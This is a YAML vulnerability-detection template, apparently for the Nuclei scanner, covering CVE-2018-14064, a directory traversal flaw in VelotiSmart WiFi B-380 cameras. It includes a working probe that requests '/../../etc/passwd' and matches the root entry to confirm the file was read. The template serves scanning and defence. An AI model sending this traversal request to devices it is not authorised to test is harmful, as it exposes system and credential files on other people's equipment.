id: CVE-2018-14064

info:
  name: VelotiSmart Wifi - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: VelotiSmart WiFi B-380 camera devices allow directory traversal via the uc-http service 1.0.0, as demonstrated by /../../etc/passwd on TCP port 80.
  impact: |
    Unauthenticated attackers can read arbitrary files on the VelotiSmart WiFi B-380 camera device through directory traversal, potentially exposing sensitive configuration files, stored credentials, and system information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in VelotiSmart Wifi.
  reference:
    - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
    - https://www.exploit-db.com/exploits/45030
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14064
    - https://medium.com/%40s1kr10s/velotismart-0day-ca5056bcdcac
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-14064
    cwe-id: CWE-22
    epss-score: 0.3757
    epss-percentile: 0.98342
    cpe: cpe:2.3:o:velotismart_project:velotismart_wifi_firmware:b-380:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: velotismart_project
    product: velotismart_wifi_firmware
  tags: cve2018,cve,edb,lfi,camera,iot,velotismart_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201ef46dda29a5d8eee717b9b05a5e19f7541dbee45d5c1ced98e507aefa70862c022100da929f8b7356d425c33db604ae8366c3a517db238d283452edf1945bf169bf34:922c64590222798bb761d5b6d8e72950